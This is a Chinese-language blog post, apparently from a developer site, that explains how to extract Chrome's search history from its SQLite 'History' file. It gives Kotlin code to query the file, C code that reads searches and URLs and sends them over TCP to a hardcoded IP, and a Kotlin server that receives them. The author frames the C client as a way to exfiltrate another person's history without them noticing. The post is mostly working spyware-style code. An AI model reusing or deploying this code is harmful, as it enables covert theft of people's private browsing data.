前言
这几天和女朋友追剧,叫《谁是凶手》,剧中那个坐轮椅的黑客说自己有个爬虫,爬到了主角的浏览器搜索记录,从而判断出主角有个什么病,然后女朋友就问我,他是咋爬得。
咋的,教会了你然后来爬我搜索记录啊,那指定不能说了。
但是在这里,记录成文章,给掘金的女程序员给个方向,具体该怎么做,咱就不说了。
提取记录
浏览器搜索记录不能叫爬了,叫提取更合适,比如谷歌浏览器,搜索记录保存在一个文件中,而这个文件是一个sqlite文件,和我们的mysql一样,有表、可以执行sql语句,另外他也是Android自带的数据库,所以只要找到这个文件就行了。
Linux下位于:/home/用户/.config/google-chrome/Default/History
Window下位于:C:\Users\用户\AppData\Local\Google\Chrome\User Data\DefaultHistory
可以使用可视化工具比如dbeaver直接打开这个数据库,就能看到如下表,表不多,我们只关心两个即可,keyword_search_terms、urls,keyword_search_terms表中有用户搜索的关键字,还有唯一id,然后和urls表进行一个联接,urls中有具体的url和标题,但是如果在谷歌浏览器运行的时候读取,会报错,因为谷歌浏览器会锁住这个数据库,如果要在运行的时候读取,可以把它复制出来一份。
然后在Java中引入sqlite jdbc,剩下的和使用mysql jdbc的用法一样了。
implementation("org.xerial:sqlite-jdbc:3.36.0.3")
fun main(args: Array<String>) {
var path = "${System.getProperty("user.home")}/.config/google-chrome/Default/History"
var pathTemp = "${System.getProperty("user.home")}/.config/google-chrome/Default/HistoryTemp"
if (Files.notExists(Paths.get(pathTemp)))
Files.copy(Paths.get(path), Paths.get(pathTemp))
val connection: Connection =
DriverManager.getConnection("jdbc:sqlite:${pathTemp}")
var statement = connection.createStatement()
var result =
statement.executeQuery("SELECT kst.term ,u.url ,u.title FROM keyword_search_terms kst left join urls u on kst.url_id =u.id ")
while (result.next()) {
println("${result.getString("term")} ${result.getString("url")} ${result.getString("title")}")
}
}
发送History
但是问题是,你需要把对方电脑中的History文件发到你手里,到你手里想怎么操作就怎么操作了,但是History文件会随着日积月累的使用而增大,直接发有点不现实,用Java、Python提取出来后发让人家一看就看出来了,所以还是用c吧。
首先加入sqlite库。
sudo apt-get install libsqlite3-dev
cmake文件配置
set (PROJECT_LINK_LIBS /usr/lib/x86_64-linux-gnu/libsqlite3.so)
target_link_libraries (C_Demo ${PROJECT_LINK_LIBS})
#include <stdio.h>
#include <sqlite3.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#define SIZE 1024
#define SAVE_PATH "/home/HouXinLin/test/text.txt"
void send_file(FILE *fp, int sockfd) {
char data[SIZE] = {0};
printf("[+]发送文件.\n");
int size = fread(data, 1, SIZE, fp);
while (size > 0) {
send(sockfd, data, size, 0);
size = fread(data, 1, SIZE, fp);
}
}
int upload() {
char *ip = "192.168.0.107";
struct sockaddr_in server_addr;
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(9999);
server_addr.sin_addr.s_addr = inet_addr(ip);
int ret = connect(sockfd, (struct sockaddr *) &server_addr, sizeof(server_addr));
if (ret != -1) {
printf("[+]连接成功.\n");
FILE * fp = fopen(SAVE_PATH, "r");
if (fp == NULL) {
exit(1);
}
send_file(fp, sockfd);
close(sockfd);
} else {
printf("[-]链接失败.\n");
}
return 0;
}
int writeToText(char **result, int rows) {
printf("[+]读取数据成功,共有%d行", rows);
FILE *f = fopen(SAVE_PATH, "w");
for (int i = 0; i <= rows; i++) {
fprintf(f, "%s\n", result[3 * i]);
}
fclose(f);
upload();
}
int readHistory() {
sqlite3 *db;
sqlite3_stmt *res;
int rc = sqlite3_open("/home/HouXinLin/test/History", &db);
if (rc != SQLITE_OK) {
sqlite3_close(db);
return 1;
}
char **result;
char *zErr;
int nrows, ncols;
char *sql = "SELECT kst.term ,u.url ,u.title FROM keyword_search_terms kst left join urls u on kst.url_id =u.id;";
rc = sqlite3_get_table(db, sql, &result, &nrows, &ncols, &zErr);
int i = 0;
writeToText(result, nrows);
sqlite3_finalize(res);
sqlite3_close(db);
}
int main() {
readHistory();
return 0;
}
服务的接收
import java.io.ByteArrayOutputStream
import java.net.InetSocketAddress
import java.nio.ByteBuffer
import java.nio.channels.SelectionKey
import java.nio.channels.Selector
import java.nio.channels.ServerSocketChannel
import java.nio.channels.SocketChannel
import java.nio.file.Files
import java.nio.file.Paths
private fun doRead(channel: SocketChannel) {
var byte = ByteBuffer.allocate(2048)
var byteArrayOutputStream = ByteArrayOutputStream()
while (channel.read(byte) != -1) {
byte.flip()
byteArrayOutputStream.write(byte.array().copyOfRange(0, byte.limit()))
byte.clear()
}
channel.close()
Files.write(Paths.get("/home/HouXinLin/test/text2.txt"), byteArrayOutputStream.toByteArray())
}
fun main(args: Array<String>) {
var serverSocketChannel = ServerSocketChannel.open()
var selector = Selector.open()
serverSocketChannel.configureBlocking(false)
serverSocketChannel.socket().bind(InetSocketAddress(9999));
serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT)
while (selector.select() > 0) {
var selectedKeys = selector.selectedKeys()
var iterator = selectedKeys.iterator()
while (iterator.hasNext()) {
var selectionKey = iterator.next()
if (selectionKey.isAcceptable) {
var client = serverSocketChannel.accept()
client.configureBlocking(false)
client.register(selector, SelectionKey.OP_READ)
}
if (selectionKey.isReadable) {
doRead(selectionKey.channel() as SocketChannel)
}
iterator.remove()
}
}
}
运行后会在本地收到客户端发送的搜索记录。